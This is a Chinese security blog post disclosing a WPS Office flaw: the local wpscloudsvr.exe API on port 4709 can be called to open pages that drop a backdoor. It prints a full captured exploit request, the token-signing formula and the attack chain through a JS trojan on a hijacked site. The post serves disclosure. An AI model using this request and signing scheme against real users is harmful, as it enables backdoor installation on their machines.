白帽故事 · 2024年9月27日 0

WPS Office攻击细节披露

背景介绍

上个月曾爆出XX黑客使用 WPS 0day攻击的消息,该漏洞主要涉及wpscloudsvr.exe(即WPS的云服务),当WPS运行时,会建立一个端口为4709的API接口,而该接口可以被滥用,近期该漏洞(实为1day,并非0day)利用细节被捕获并在GitHub上披露。

漏洞细节

WPS Office的wpscloudsvr.exe服务启动时会监听127.0.0.1:4709端口,

file

但直接访问是无法正常访问的,需要使用域名访问,如:http://localhost.wbridge.wps.cn:4709

file

捕获到的POST请求内容:

POST /command/invoke HTTP/1.1
Host: localhost.wbridge.wps.cn:4709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 732
Origin: https://docs.wps.cn
Referer: https://docs.wps.cn/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-site
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua: "Google Chrome";v="114", "Chromium";v="114", "Not=A?Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Te: trailers
Connection: close

app_id=kdocs&cmd=ksoqing%3A%2F%2Ftype%3Dksolaunch%26cmd%3DcGx1Z2luOi8vcGFnZUNsb3VkRG9jcz91cmw9aHR0cHM6Ly9haXJzaGVldC1jb21tdW5pdHkud3BzLmNuLw%3d%3d%26token%3D7b542dc31594d4f443dfc073fcb8abd3&ks_local_token=2BwJYEBTwY2ueCNrylNVQhMGt8QMNR3A&nonce_str=AbQ5fb66Q23E2yG3dbSM2TQ8M4HmD7i8&t=1695719826922&sign=C16B6005259121B111BF72787186D057FF191D04D2374F47E064F7A541B3601A

上面的请求包执行后,会触发wps的api接口,打开wps官网,攻击者的Payloads将存储在网站中,加载后,后门会被下载到指定目录并运行。

通过逆向分析,可以发现cmd是base64编码的WPS官网域名,因为WPS限制了部分白名单中的域名只能用内置浏览器打开,不在白名单中的可以用用户默认打开browser.whitelisted 域名如:.wps.cn .wps.com .wpscdn.cn .kdocs.cn ….

Sign Token:

md5(cmd + '_qingLaunchKey_')

利用方式:

  1. 黑客向目标网站发起攻击并植入了JS木马后门
  2. 用户访问网站时触发JS木马,导致黑客攻击用户的本地WPS Office
  3. 如果用户的WPS开启了4709端口监听,将实施攻击,从而在用户系统中安装后门

Github原文:https://github.com/George-boop-svg/Chinese-hackers-use-WPS-to-attack?tab=readme-ov-file